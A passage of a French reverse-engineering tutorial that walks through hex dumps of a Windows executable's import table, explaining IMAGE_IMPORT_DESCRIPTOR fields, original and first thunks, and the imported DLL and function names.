00004680 207C 0000 0000 0000 F02C F3BF A724 F3BF |.......,...$..
00004690 | 5A21 | F3BF | 1745 | F3BF | 9724 | F3BF | AB24 | F3BF | Z!...E...$...$..
000046A0 | 9F24 | F3BF | 5724 | F3BF | 6310 | F3BF | B324 | F3BF | .$..W$..c....$..
000046B0 | 361B | F3BF | 4F13 | F3BF | 5110 | F3BF | E110 | F3BF | 6...O...Q.......
000046C0 E724 F3BF 7E22 F3BF 8218 F3BF 1D1C F3BF .$..~"..........
000046D0 FB24 F3BF AF24 F3BF 111C F3BF 0000 0000 .$...$..........
000046E0 | 0449 | F7BF | 2CCE | F9BF | 136E | F7BF | 9573 | F7BF | .I..,....n...s..
000046F0 8382 F9BF A2DF F9BF E8CD F9BF FFCF F9BF ................
00004700 | 7072 | F7BF | 1E73 | F7BF | 9482 | F9BF | 204A | F7BF | pr...s...... J..
00004710 | CF6D | F7BF | 8B6D | F7BF | 0449 | F7BF | 7D71 | F7BF | .m...m...I..}q..
00004720 | DC7B | F7BF | 607E | F7BF | AA72 | F7BF | 7776 | F7BF | .{..'~...r..wv..
00004730 | 5B73 | F7BF | 187A | F7BF | 7364 | F7BF | E472 | F7BF | [s...z..sd...r..
00004740 | 4129 | F8BF | 9C79 | F7BF | 659F | F8BF | 33FB | F7BF | A)...y..e...3...
00004750 | F16D | F7BF | CDAE | F8BF | 5476 | F7BF | BD75 | F7BF | .m......Tv...u..
00004760 | BECD | F9BF | FB73 | F7BF | 2574 | F7BF | 0000 | 0000 | .....s..%t......
00004770
0E8F DD7F
222B DC7F DD71 DD7F 2012 DC7F ...."+...q.. ...
00004780 | 3CB0 | E07F | 0000 | 0000 | BD4C | F6BF | 7C4D | F6BF | <........L..|M..
00004790 | 1817 | F6BF | 6A40 | F6BF | 962B | F6BF | 482B | F6BF | ....j@...+..H+..
000047A0 | 0F48 | F6BF | 702C | F6BF | 4C1A | F6BF | DB22 | F6BF | .H..p,..L...."..
000047B0 | 0C4B | F6BF | 4D12 | F6BF | 5C1A | F6BF | FB13 | F6BF | .K..M...\.......
000047C0 | CD4B | F6BF | CF51 | F6BF | 8F4F | F6BF | 112D | F6BF | .K...Q...O...-..
000047D0 | 8B48 | F6BF | 5A2B | F6BF | A923 | F6BF | F540 | F6BF | .H..Z+...#...@..
000047E0 | AD45 | F6BF | 8D4D | F6BF | 3116 | F6BF | AC26 | F6BF | .E...M..1....&..
000047F0 | 942D | F6BF | 661F | F6BF | 224D | F6BF | 521F | F6BF | .-..f..."M..R...
00004800 | 5F23 | F6BF | A84D | F6BF | 5045 | F6BF | A34E | F6BF | _#...M..PE...N..
00004810 | 2746 | F6BF | B01D | F6BF | 5716 | F6BF | 114B | F6BF | 'F......W....K..
00004820 | 8123 | F6BF | 9746 | F6BF | 9123 | F6BF | C123 | F6BF | .#...F...#...#..
00004830 | D938 | F6BF | 2B51 | F6BF | 9E2B | F6BF | 3732 | F6BF | .8..+Q...+..7#..
00004840 | 5A1F | F6BF | BE1A | F6BF | 7D23 | F6BF | F610 | F6BF | Z.......}#......
00004850 | 794F | F6BF | B64D | F6BF | B847 | F6BF | 884C | F6BF | yO...M...G...L..
00004860 | 4723 | F6BF | 3220 | F6BF | DC14 | F6BF | 5F3E | F6BF | G#..2......_>..
00004870 | E94C | F6BF | 0815 | F6BF | 0000 | 0000 | 954F | E87F | .L...........O..
00004880 | A868 | E87F | 6857 | E87F | 6211 | E87F | A34F | E87F | .h..hW..b....O..
00004890 | 9C60 | E87F | 0000 | 0000 | 4C00 | 5368 | 656C | 6C41 | .'......L.ShellA
000048A0 | 626F | 7574 | 4100 | 0900 | 4472 | 6167 | 4669 | 6E69 | boutA...DragFini
000048B0 | 7368 | 0000 | 0B00 | 4472 | 6167 | 5175 | 6572 | 7946 | sh....DragQueryF
000048C0 | 696C | 6541 | 0000 | 0800 | 4472 | 6167 | 4163 | 6365 | ileA....DragAcce
000048D0 | 7074 | 4669 | 6C65 | 7300 | 4E00 | 5368 | 656C | 6C45 | ptFiles.N.ShellE
000048E0 | 7865 | 6375 | 7465 | 4100 | 5348 | 454C | 4C33 | 322E | xecuteA.SHELL32.
000048F0 | 646C | 6C00 | 7100 | 4578 | 6974 | 5072 | 6F63 | 6573 | dll.q.ExitProces
00004900 | 7300 | F900 | 4765 | 744D | 6F64 | 756C | 6548 | 616E | s...GetModuleHan
00004910 | 646C | 6541 | 0000 | 2401 | 4765 | 7453 | 7461 | 7274 | dleA..$.GetStart
00004920 | 7570 | 496E | 666F | 4100 | BC00 | 4765 | 7443 | 6F6D | upInfoA...GetCom
00004930 | 6D61 | 6E64 | 4C69 | 6E65 | 4100 | 5601 | 476C | 6F62 | mandLineA.V.Glob
00004940 | 616C | 4672 | 6565 | 0000 | F100 | 4765 | 744C | 6F63 | alFree....GetLoc
00004950 | 616C | 6549 | 6E66 | 6F41 | 0000 | 9F02 | 6C73 | 7472 | aleInfoA....lstr
00004960 | 6370 | 7941 | 0000 | 3900 | 4372 | 6561 | 7465 | 4669 | cpyA..9.CreateFil
00004970 | 6C65 | 4100 | EF00 | 4765 | 744C | 6173 | 7445 | 7272 | leA...GetLastErr
00004980 | 6F72 | 0000 | 9602 | 6C73 | 7472 | 6361 | 7441 | 0000 | or....lstrcatA..
00004990 | 9100 | 4669 | 6E64 | 436C | 6F73 | 6500 | 9500 | 4669 | ..FindClose...Fi
000049A0 | 6E64 | 4669 | 7273 | 7446 | 696C | 6541 | 0000 | 9902 | ndFirstFileA
000049B0 | 6C73 | 7472 | 636D | 7041 | 0000 | 1D01 | 4765 | 7450 | lstrcmpA....GetP
000049C0 | 726F | 6669 | 6C65 | 5374 | 7269 | 6E67 | 4100 | A202 | rofileStringA...
000049D0 | 6C73 | 7472 | 6370 | 796E | 4100 | 9601 | 4C6F | 6361 | lstrcpynA...Loca
000049E0 | 6C52 | 6541 | 6C6C | 6F63 | 0000 | 9501 | 4C6F | 6361 | lReAlloc....Loca
000049F0 | 6C4C | 6F63 | 6B00 | 8F01 | 4C6F | 6361 | 6C41 | 6C6C | lLock...LocalAll
00004A00 | 6F63 | 0000 | A502 | 6C73 | 7472 | 6C65 | 6E41 | 0000 | oc....lstrlenA..
00004A10 | 9901 | 4C6F | 6361 | 6C55 | 6E6C | 6F63 | 6B00 | 8E02 | ..LocalUnlock...
00004A20 | 5F6C | 636C | 6F73 | 6500 | 5500 | 4465 | 6C65 | 7465 | _lclose.U.Delete
00004A30 | 4669 | 6C65 | 4100 | 9302 | 5F6C | 7772 | 6974 | 6400 | FileA..._lwrite.
00004A40 | 8F02 | 5F6C | 6372 | 6561 | 7400 | 9102 | 5F6C | 6F70 | .._lcreat..._lop
00004A50 | 656E | 0000 | 9202 | 5F6C | 7265 | 6164 | 0000 | 9002 | en...._lread....
00004A60 | 5F6C | 6C73 | 6565 | 6B00 | 9301 | 4C6F | 6361 | 6C46 | _llseek...LocalF
00004A70 | 7265 | 6500 | 6001 | 476C | 6F62 | 616C | 556E | 6C6F | ree.'.GlobalUnlo
00004A80 | 636B | 0000 | 5A01 | 476C | 6F62 | 616C | 4C6F | 636B | ck..Z.GlobalLock
00004A90 | 0000 | 4F01 | 476C | 6F62 | 616C | 416C | 6C6F | 6300 | ..O.GlobalAlloc.
00004AA0 | F000 | 4765 | 744C | 6F63 | 616C | 5469 | 6D65 | 0000 | ..GetLocalTime..
00004AB0 | 4101 | 4765 | 7454 | 696D | 6546 | 6F72 | 6D61 | 7441 | A.GetTimeFormatA
00004AC0 | 0000 | D100 | 4765 | 7444 | 6174 | 6546 | 6F72 | 6D61 | ....GetDateForma
00004AD0 | 7441 | 0000 | 9C02 | 6C73 | 7472 | 636D | 7069 | 4100 | tA....lstrcmpiA.
00004AE0 | 4B45 | 524E | 454C | 3332 | 2E64 | 6C6C | 0000 | 7F01 | KERNEL32.dll....
00004AF0 | 4D6F | 7665 | 5769 | 6E64 | 6F77 | 0000 | 3B01 | 496E | MoveWindow..;.In
00004B00 | 7661 | 6C69 | 6461 | 7465 | 5265 | 6374 | 0000 | C901 | validateRect....
00004B10 | 5365 | 7446 | 6F63 | 7573 | 0000 | 8E01 | 506F | 7374 | SetFocus....Post
00004B20 | 4D65 | 7373 | 6167 | 6541 | 0000 | E200 | 4765 | 7446 | MessageA....GetF
00004B30 | 6F63 | 7573 | 0000 | AF01 | 5365 | 6E64 | 4D65 | 7373 | ocus....SendMess
00004B40 | 6167 | 6541 | 0000 | 5E01 | 4C6F | 6164 | 4963 | 6F6E | ageA..^.LoadIcon
00004B50 | 4100 | 2502 | 5769 | 6E48 | 656C | 7041 | 0000 | CA01 | A.%.WinHelpA....
00004B60 | 5365 | 7446 | 6F72 | 6567 | 726F | 756F | 6457 | 696E | SetForegroundWin
00004B70 | 646F | 7700 | A900 | 456E | 6444 | 6961 | 6C6F | 6700 | dow...EndDialog.
00004B80 | F901 | 5368 | 6F77 | 5769 | 6E64 | 6F77 | 0000 | F200 | ..ShowWindow....
00004B90 | 4765 | 744C | 6173 | 7441 | 6374 | 6976 | 6550 | 6F70 | GetLastActivePop
00004BA0 | 7570 | 0000 | A500 | 456E | 6162 | 6C65 | 4D65 | 6E75 | up....EnableMenu
00004BB0 | 4974 | 656D | 0000 | 7800 | 4465 | 6657 | 696E | 646F | Item..x.DefWindo
00004BC0 | 7750 | 726F | 6341 | 0000 | 7601 | 4D65 | 7373 | 6167 | wProcA..v.Messag
00004BD0 | 6542 | 6F78 | 4100 | 7501 | 4D65 | 7373 | 6167 | 6542 | eBoxA.u.MessageB
00004BE0 | 6565 | 7000 | 8100 | 4465 | 7374 | 726F | 7957 | 696E | eep...DestroyWin
00004BF0 | 646F | 7700 | 4D01 | 4973 | 4963 | 6F6E | 6963 | 0000 | dow.M.IsIconic..
00004C00 | 9001 | 506F | 7374 | 5175 | 6974 | 4D65 | 7373 | 6167 | ..PostQuitMessag
00004C10 | 6500 | 8600 | 4469 | 7370 | 6174 | 6368 | 4D65 | 7373 | e...DispatchMess
00004C20 | 6167 | 6541 | 0000 | 0F02 | 5472 | 616E | 736C | 6174 | ageA....Translat
00004C30 | 654D | 6573 | 7361 | 6765 | 0000 | 0C02 | 5472 | 616E | eMessage....Tran
00004C40 | 736C | 6174 | 6541 | 6363 | 656C | 6572 | 6174 | 6F72 | slateAccelerator
00004C50 | 4100 | 4901 | 4973 | 4469 | 616C | 6F67 | 4D65 | 7373 | A.I.IsDialogMess
00004C60 | 6167 | 6541 | 0000 | FF00 | 4765 | 744D | 6573 | 7361 | ageA....GetMessa
00004C70 | 6765 | 4100 | EE01 | 5365 | 7457 | 696E | 646F | 7754 | geA...SetWindowT
00004C80 | 6578 | 7441 | 0000 | 1E00 | 4368 | 6172 | 4E65 | 7874 | extA....CharNext
00004C90 | 4100 | 2F00 | 4368 | 6563 | 6B4D | 656E | 7549 | 7465 | A./.CheckMenuIte
00004CA0 | 6D00 | 3700 | 436C | 6F73 | 6543 | 6C69 | 7062 | 6F61 | m.7.CloseClipboa
00004CB0 | 7264 | 0000 | 4701 | 4973 | 436C | 6970 | 626F | 6172 | rd..G.IsClipboar
00004CC0 | 6446 | 6F72 | 6D61 | 7441 | 7661 | 696C | 6162 | 6C65 | dFormatAvailable
00004CD0 | 0000 | 8701 | 4F70 | 656E | 436C | 6970 | 626F | 6172 | ....OpenClipboar
00004CE0 | 6400 | 1201 | 4765 | 7453 | 7562 | 4D65 | 6E75 | 0000 | d...GetSubMenu..
00004CF0 | F300 | 4765 | 744D | 656E | 7500 | 6801 | 4C6F | 6164 | ..GetMenu.h.Load
00004D00 | 5374 | 7269 | 6E67 | 4100 | 5601 | 4C6F | 6164 | 4163 | StringA.V.LoadAc
00004D10 | 6365 | 6C65 | 7261 | 746F | 7273 | 4100 | 1501 | 4765 | celeratorsA...Ge
00004D20 | 7453 | 7973 | 7465 | 6D4D | 656E | 7500 | A001 | 5265 | tSystemMenu...Re
00004D30 | 6769 | 7374 | 6572 | 5769 | 6E64 | 6F77 | 4D65 | 7373 | gisterWindowMess
00004D40 | 6167 | 6541 | 0000 | E901 | 5365 | 7457 | 696E | 646F | ageA....SetWindo
00004D50 | 774C | 6F6E | 6741 | 0000 | 5000 | 4372 | 6561 | 7465 | wLongA..P.Create
00004D60 | 5769 | 6E64 | 6F77 | 4578 | 4100 | 5A01 | 4C6F | 6164 | WindowExA.Z.Load
00004D70 | 4375 | 7273 | 6F72 | 4100 | 9601 | 5265 | 6769 | 7374 | CursorA...Regist
00004D80 | 6572 | 436C | 6173 | 7345 | 7841 | 0000 | 1601 | 4765 | erClassExA....Ge
00004D90 | 7453 | 7973 | 7465 | 6D4D | 6574 | 7269 | 6373 | 0000 | tSystemMetrics..
00004DA0 | C001 | 5365 | 7443 | 7572 | 736F | 7200 | 1902 | 5570 | ..SetCursor...Up
00004DB0 | 6461 | 7465 | 5769 | 6E64 | 6F77 | 0000 | 2200 | 4368 | dateWindow..".Ch
00004DC0 | 6172 | 5072 | 6576 | 4100 | CF00 | 4765 | 7443 | 6C69 | arPrevA...GetCli
00004DD0 | 656E | 7452 | 6563 | 7400 | 8B01 | 5065 | 656B | 4D65 | entRect...PeekMe
00004DE0 | 7373 | 6167 | 6541 | 0000 | C601 | 5365 | 7444 | 6C67 | ssageA....SetDlg
00004DF0 | 4974 | 656D | 5465 | 7874 | 4100 | 0202 | 5461 | 6262 | ItemTextA...Tabb
00004E00 | 6564 | 5465 | 7874 | 4F75 | 7441 | 0000 | 4600 | 4372 | edTextOutA..F.Cr
00004E10 | 6561 | 7465 | 4469 | 616C | 6F67 | 5061 | 7261 | 6D41 | eateDialogParamA
00004E20 | 0000 | A700 | 456E | 6162 | 6C65 | 5769 | 6E64 | 6F77 | ....EnableWindow
00004E30 | 0000 | 2601 | 4765 | 7457 | 696E | 646F | 7754 | 6578 | ..&.GetWindowTex
00004E40 | 7441 | 0000 | A301 | 5265 | 6C65 | 6173 | 6544 | 4300 | ta....ReleaseDC
00004E50 | D800 | 4765 | 7444 | 4300 | AD01 | 5365 | 6E64 | 446C | ..GetDC...SendDl
00004E60 | 6749 | 7465 | 6D4D | 6573 | 7361 | 6765 | 4100 | DC00 | dItemMessageA...
00004E70 | 4765 | 7444 | 6C67 | 4374 | 726C | 4944 | 0000 | 3200 | GetDlgCtrlID..2.
00004E80 | 4368 | 696C | 6457 | 696E | 646F | 7746 | 726F | 6D50 | ChildWindowFromP
00004E90 | 6F69 | 6E74 | 0000 | A901 | 5363 | 7265 | 656E | 546F | oint....ScreenTo
00004EA0 | 436C | 6965 | 6E74 | 0000 | D700 | 4765 | 7443 | 7572 | Client....GetCur
00004EB0 | 736F | 7250 | 6F73 | 0000 | DF00 | 4765 | 7444 | 6C67 | sorPos....GetDlg
00004EC0 | 4974 | 656D | 5465 | 7874 | 4100 | 2D02 | 7773 | 7072 | ItemTextA.-.wspr
00004ED0 | 696E | 7466 | 4100 | 5553 | 4552 | 3332 | 2E64 | 6C6C | intfA.USER32.dll
00004EE0 | 0000 | 4600 | 4465 | 6C65 | 7465 | 4F62 | 6A65 | 6374 | ..F.DeleteObject
00004EF0 | 0000 | BC00 | 4765 | 7453 | 746F | 636B | 4F62 | 6A65 | ....GetStockObje
00004F00 | 6374 | 0000 | 4300 | 4465 | 6C65 | 7465 | 4443 | 0000 | ct..C.DeleteDC..
00004F10 | 0000 | 4162 | 6F72 | 7444 | 6F63 | 0000 | 0601 | 5365 | ..AbortDoc....Se
00004F20 | 6C65 | 6374 | 4F62 | 6A65 | 6374 | 0000 | 4D00 | 456E | lectObject..M.En
00004F30 | 6444 | 6F63 | 0000 | 4E00 | 456E | 6450 | 6167 | 6500 | dDoc..N.EndPage.
00004F40 | 3701 | 5374 | 6172 | 7450 | 6167 | 6500 | 3501 | 5374 | 7.StartPage.5.St
00004F50 | 6172 | 7444 | 6F63 | 4100 | 0801 | 5365 | 7441 | 626F | artDocA...SetAbo
00004F60 | 7274 | 5072 | 6F63 | 0000 | C900 | 4765 | 7454 | 6578 | rtProc....GetTex
00004F70 | 7445 | 7874 | 656E | 7450 | 6F69 | 6E74 | 4100 | 8E00 | tExtentPointA..
00004F80 | 4765 | 7444 | 6576 | 6963 | 6543 | 6170 | 7300 | 2B00 | GetDeviceCaps.+.
00004F90 | 4372 | 6561 | 7465 | 466F | 6E74 | 4100 | CD00 | 4765 | CreateFontA...Ge
00004FA0 | 7454 | 6578 | 744D | 6574 | 7269 | 6373 | 4100 | 0D01 | tTextMetricsA...
00004FB0 | 5365 | 7442 | 6B4D | 6F64 | 6500 | 1C01 | 5365 | 744D | SetBkMode...SetM
00004FC0 | 6170 | 4D6F | 6465 | 0000 | D700 | 4C50 | 746F | 4450 | apMode....LPtoDP
00004FD0 | 0000 | 3201 | 5365 | 7457 | 696E | 646E | 7745 | 7874 | ..2.SetWindowExt
00004FE0 | 4578 | 0000 | 2F01 | 5365 | 7456 | 6965 | 7770 | 6F72 | Ex../.SetViewpor
00004FF0 | 7445 | 7874 | 4578 | 0000 | C200 | 4765 | 7454 | 6578 | tExtEx....GetTex
00005000 | 7443 | 6861 | 7273 | 6574 | 0000 | 2000 | 4372 | 6561 | tCharset.. .Crea
00005010 | 7465 | 4443 | 4100 | 4744 | 4933 | 322E | 646C | 6C00 | teDCA.GDI32.dll.
00005020 | 0200 | 436F | 6D6D | 446C | 6745 | 7874 | 656E | 6465 | ..CommDlgExtende
00005030 | 6445 | 7272 | 6F72 | 0000 | 0600 | 4765 | 7453 | 6176 | dError....GetSav
00005040 | 6546 | 696C | 654E | 616D | 6541 | 0000 | 0700 | 5061 | eFileNameA....Pa
00005050 | 6765 | 5365 | 7475 | 7044 | 6C67 | 4100 | 0300 | 4669 | geSetupDlgA...Fi
00005060 | 6E64 | 5465 | 7874 | 4100 | 0500 | 4765 | 744F | 7065 | ndTextA...GetOpe
00005070 | 6E46 | 696C | 654E | 616D | 6541 | 0000 | 0400 | 4765 | nFileNameA....Ge
00005080 | 7446 | 696C | 6554 | 6974 | 6C65 | 4100 | 636F | 6D64 | tFileTitleA.Comd
00005090 | 6C67 | 3332 | 2E64 | 6C6C | 0000 | 0000 | 0000 | 0000 | lg32.dll........
000050A0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000050B0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000050C0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000050D0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000050E0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000050F0 0000 0000 0000 0000 0000 0000 0000 0000 ................
00005100 0000 0000 0000 0000 0000 0000 0000 0000 ................
00005110 0000 0000 0000 0000 0000 0000 0000 0000 ................
00005120 0000 0000 0000 0000 0000 0000 0000 0000 ................
00005130 0000 0000 0000 0000 0000 0000 0000 0000 ................
00005140 0000 0000 0000 0000 0000 0000 0000 0000 ................
00005150 0000 0000 0000 0000 0000 0000 0000 0000 ................
00005160 0000 0000 0000 0000 0000 0000 0000 0000 ................
00005170 0000 0000 0000 0000 0000 0000 0000 0000 ................
00005180 0000 0000 0000 0000 0000 0000 0000 0000 ................
00005190 0000 0000 0000 0000 0000 0000 0000 0000 ................
000051A0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000051B0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000051C0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000051D0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000051E0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000051F0 0000 0000 0000 0000 0000 0000 0000 0000 ................
00005200

J'ai dit que "ORIGINAL_FIRST_THUNK" et "FIRST_THUNK" étaient deux structures identiques l'une à l'autre, donc en 00004560 et en 00004770 on devrait normalement retrouver la même valeur (D874 0000), et pourtant ici exceptionnellement ce n'est pas le cas. Je vais vous dire pourquoi dans ce qui suit....

IAT... (Suite 2)


IAT

IMAGE_IMPORT_DESCRIPTOR:

1er DWORD | Original First Thunk | 60 71 00 00
2nd DWORD | Date Time Stamp | 64 AB 2F 32
3e DWORD | Forwarder Chain | FF FF FF FF
4e DWORD | Name | E8 74 00 00
5e DWORD | First Thunk | 70 73 00 00
 -->
00 00 71 60
............
............
00 00 74 E8
00 00 73 70
-->
00 00 45 60
..........
..........
00 00 48 E8
00 00 47 70

Reprenons... On va commencer par le 4e DWORD ce sera plus simple.

Le 4e DWORD d'une structure IMAGE_IMPORT_DESCRIPTOR pointe sur l'adresse du nom de la DLL.

4e DWORD Name E8 74 00 00
-->
00 00 74 E8
-->
00 00 48 E8

et en 000048E8 on trouve bien :

000048E0 | 7865 | 6375 | 7465 | 4100 | 5348 | 454C | 4C33 | 322E | xecuteA.SHELL32.
000048F0 | 646C | 6C00 | 7100 | 4578 | 6974 | 5072 | 6F63 | 6573 | dll.q.ExitProces

Le 1er DWORD pointe sur une structure "ORIGINAL_FIRST_THUNK":

"ORIGINAL_FIRST_THUNK" est constituée elle-même de plusieurs DWORD qui repésentent des RVA pointant sur une structure IMAGE_IMPORT_BY_NAME. Cette dernière structure est l'endroit où est écrit le n°Ordinal + le nom d'une fonction appartenant à cette DLL.

00004400 | 6071 | 0000 | 64AB | 2F32 | FFFF | FFFF | E874 | 0000 | .'q..d./2.....t.. 1er IMA_IMP_DESCR (SHELL32.dll)
00004410 | 7073 | 0000 | D070 | 0000 | A01C | 0C32 | FFFF | FFFF | ps...p.....2....2nd IMA_IMP_DESCR (KERNEL32.dll)
00004420 | E076 | 0000 | E072 | 0000 | 7871 | 0000 | 63E4 | FD2F | .v...r..xq..c../ 3e IMA_IMP_DESCR (USER32.dll)
00004430 | FFFF | FFFF | D67A | 0000 | 8873 | 0000 | 7870 | 0000 | .....z...s..xp..4e IMA_IMP_DESCR (GDI.32.dll)
00004440 | BC83 | F32F | FFFF | FFFF | 167C | 0000 | 8872 | 0000 | .../.....|...r..
00004450 | 6C72 | 0000 | 64AB | 2F32 | FFFF | FFFF | 8C7C | 0000 | lr..d./2.....|.. 5e IMA_IMP_DESCR (Comdlg.dll)
00004460 7C74 0000 0000 0000 0000 0000 0000 0000 |t..............
00004470 | 0000 | 0000 | 0000 | 0000 | 0A7C | 0000 | F87B | 0000 | .........|...{..ORIGINAL_FIRST_THUNK de GDI32.dll
00004480 | 1C7B | 0000 | F27A | 0000 | 047B | 0000 | 107B | 0000 | .{...z...{...{..
00004490 | E27A | 0000 | 407B | 0000 | 4C7B | 0000 | 367B | 0000 | .z..@|..L{..6{..
000044A0 | 687B | 0000 | 7E7B | 0000 | 587B | 0000 | 9C7B | 0000 | h{..~{..X{...{..
000044B0 AE7B 0000 8E7B 0000 C87B 0000 D27B 0000 .{...{...{...{..
000044C0 BA7B 0000 2C7B 0000 E47B 0000 0000 0000 .{..,{...{......
000044D0 | F675 | 0000 | EA75 | 0000 | DA75 | 0000 | 0476 | 0000 | .u...u...u...v.. ORIGINAL_FIRST_THUNK de KERNEL32.dll
000044E0 | 1E76 | 0000 | 2876 | 0000 | 3676 | 0000 | 1076 | 0000 | .v..(v..6v...v..
000044F0 | AE75 | 0000 | CE75 | 0000 | 5E76 | 0000 | 6876 | 0000 | .u...u..^v..hv..
00004500 | 7476 | 0000 | 8476 | 0000 | 9276 | 0000 | A076 | 0000 | tv...v...v...v..
00004510 | B076 | 0000 | C276 | 0000 | D476 | 0000 | BA75 | 0000 | .v...v...v...u..
00004520 | 8475 | 0000 | 9C75 | 0000 | 9075 | 0000 | 5A75 | 0000 | .u...u...u..Zu..
00004530 | 7475 | 0000 | 6675 | 0000 | 2875 | 0000 | 4875 | 0000 | tu..fu..(u..Hu..
00004540 | 3A75 | 0000 | F474 | 0000 | 1675 | 0000 | 0275 | 0000 | :u...t...u...u..
00004550 | 4076 | 0000 | 4A76 | 0000 | 5476 | 0000 | 0000 | 0000 | @v..Jv..Tv......
00004560
D874 0000
B474 0000 A674 0000 C674 0000 .t...t...t...t.. O ORIGINAL_FIRST_THUNK de SHELL32.dll
00004570 | 9874 | 0000 | 0000 | 0000 | 6678 | 0000 | 5278 | 0000 | .t......fx..Rx.. ORIGINAL_FIRST_THUNK de USER32.dll
00004580 | 327A | 0000 | 8678 | 0000 | 9278 | 0000 | A278 | 0000 | 2z...x...x...x..
00004590 | B478 | 0000 | D278 | 0000 | E278 | 0000 | F078 | 0000 | .x...x...x...x..
000045A0 | FA78 | 0000 | 0879 | 0000 | 1C79 | 0000 | 2C79 | 0000 | .x...y...y..,y..
000045B0 | 4679 | 0000 | 5879 | 0000 | 6A79 | 0000 | 7879 | 0000 | Fy..Xy..jy..xy..
000045C0 | 8C79 | 0000 | A079 | 0000 | AC79 | 0000 | BC79 | 0000 | .y...y...y...y..
000045D0 | C879 | 0000 | D879 | 0000 | E879 | 0000 | FA79 | 0000 | .y...y...y...y..
000045E0 | 0C7A | 0000 | 227A | 0000 | 3A78 | 0000 | 447A | 0000 | .z.."z..:x..Dz..
000045F0 | 507A | 0000 | 587A | 0000 | 6E7A | 0000 | 7E7A | 0000 | Pz..Xz..nZ..~z..
00004600 | 967A | 0000 | A87A | 0000 | B87A | 0000 | CA7A | 0000 | .z...z...z...z..
00004610 | 0078 | 0000 | F477 | 0000 | E477 | 0000 | D677 | 0000 | .x...w...w...w..
00004620 | C877 | 0000 | B677 | 0000 | A477 | 0000 | 8E77 | 0000 | .w...w...w...w..
00004630 | 8077 | 0000 | 7477 | 0000 | 5E77 | 0000 | 5277 | 0000 | .w..tw..^w..Rw..
00004640 | 4677 | 0000 | 3677 | 0000 | 2A77 | 0000 | 1A77 | 0000 | Fw..6w..*w...w..
00004650 | 0E77 | 0000 | FC76 | 0000 | EE76 | 0000 | 1278 | 0000 | .w...v...v...x..
00004660 | 2678 | 0000 | 7478 | 0000 | 0000 | 0000 | 387C | 0000 | &x..tx......8|.. ORIGINAL_FIRST_THUNK de Comdlg.dll
00004670 | 4C7C | 0000 | 5C7C | 0000 | 6876 | 0000 | 7C7C | 0000 | L|..\|..h|..||..
00004680 207C 0000 0000 0000 F02C F3BF A724 F3BF |.......,...$.. FIRST_THUNK de GDI32.dll
00004690 | 5A21 | F3BF | 1745 | F3BF | 9724 | F3BF | AB24 | F3BF | Z!...E...$...$..
000046A0 | 9F24 | F3BF | 5724 | F3BF | 6310 | F3BF | B324 | F3BF | .$..W$..c....$..
000046B0 | 361B | F3BF | 4F13 | F3BF | 5110 | F3BF | E110 | F3BF | 6...O...Q.......
000046C0 E724 F3BF 7E22 F3BF 8218 F3BF 1D1C F3BF .$..~"..........
000046D0 FB24 F3BF AF24 F3BF 111C F3BF 0000 0000 .$...$..........
000046E0 | 0449 | F7BF | 2CCE | F9BF | 136E | F7BF | 9573 | F7BF | .I..,....n...s.. FIRST_THUNK de KERNEL32.dll
000046F0 8382 F9BF A2DF F9BF E8CD F9BF FFCF F9BF ................
00004700 | 7072 | F7BF | 1E73 | F7BF | 9482 | F9BF | 204A | F7BF | pr...s...... J..
00004710 | CF6D | F7BF | 8B6D | F7BF | 0449 | F7BF | 7D71 | F7BF | .m...m...I..}q..
00004720 | DC7B | F7BF | 607E | F7BF | AA72 | F7BF | 7776 | F7BF | .{..'~...r..wv..
00004730 | 5B73 | F7BF | 187A | F7BF | 7364 | F7BF | E472 | F7BF | [s...z..sd...r..
00004740 | 4129 | F8BF | 9C79 | F7BF | 659F | F8BF | 33FB | F7BF | A)...y..e...3...
00004750 | F16D | F7BF | CDAE | F8BF | 5476 | F7BF | BD75 | F7BF | .m......Tv...u..
00004760 | BECD | F9BF | FB73 | F7BF | 2574 | F7BF | 0000 | 0000 | .....s..%t......
00004770
0E8F DD7F
222B DC7F DD71 DD7F 2012 DC7F ...."+...q.. ... FIRST_THUNK de SHEL32.dll
00004780 | 3CB0 | E07F | 0000 | 0000 | BD4C | F6BF | 7C4D | F6BF | <........L..|M.. FIRST_THUNK de USER32.dll
00004790 | 1817 | F6BF | 6A40 | F6BF | 962B | F6BF | 482B | F6BF | ....j@...+..H+..
000047A0 | 0F48 | F6BF | 702C | F6BF | 4C1A | F6BF | DB22 | F6BF | .H..p,..L...."..
000047B0 | 0C4B | F6BF | 4D12 | F6BF | 5C1A | F6BF | FB13 | F6BF | .K..M...\.......
000047C0 | CD4B | F6BF | CF51 | F6BF | 8F4F | F6BF | 112D | F6BF | .K...Q...O...-..
000047D0 | 8B48 | F6BF | 5A2B | F6BF | A923 | F6BF | F540 | F6BF | .H..Z+...#...@..
000047E0 | AD45 | F6BF | 8D4D | F6BF | 3116 | F6BF | AC26 | F6BF | .E...M..1....&..
000047F0 | 942D | F6BF | 661F | F6BF | 224D | F6BF | 521F | F6BF | .-..f..."M..R...
00004800 | 5F23 | F6BF | A84D | F6BF | 5045 | F6BF | A34E | F6BF | _#...M..PE...N..
00004810 | 2746 | F6BF | B01D | F6BF | 5716 | F6BF | 114B | F6BF | 'F......W....K..
00004820 | 8123 | F6BF | 9746 | F6BF | 9123 | F6BF | C123 | F6BF | .#...F...#...#..
00004830 | D938 | F6BF | 2B51 | F6BF | 9E2B | F6BF | 3732 | F6BF | .8..+Q...+..7#..
00004840 | 5A1F | F6BF | BE1A | F6BF | 7D23 | F6BF | F610 | F6BF | Z.......}#......
00004850 | 794F | F6BF | B64D | F6BF | B847 | F6BF | 884C | F6BF | yO...M...G...L..
00004860 | 4723 | F6BF | 3220 | F6BF | DC14 | F6BF | 5F3E | F6BF | G#..2......_>..
00004870 | E94C | F6BF | 0815 | F6BF | 0000 | 0000 | 954F | E87F | .L...........O.. FIRST_THUNK de Comdlg.dll
00004880 | A868 | E87F | 6857 | E87F | 6211 | E87F | A34F | E87F | .h..hW..b....O..
00004890 | 9C60 | E87F | 0000 | 0000 | 4C00 | 5368 | 656C | 6C41 | .'......L.ShellA
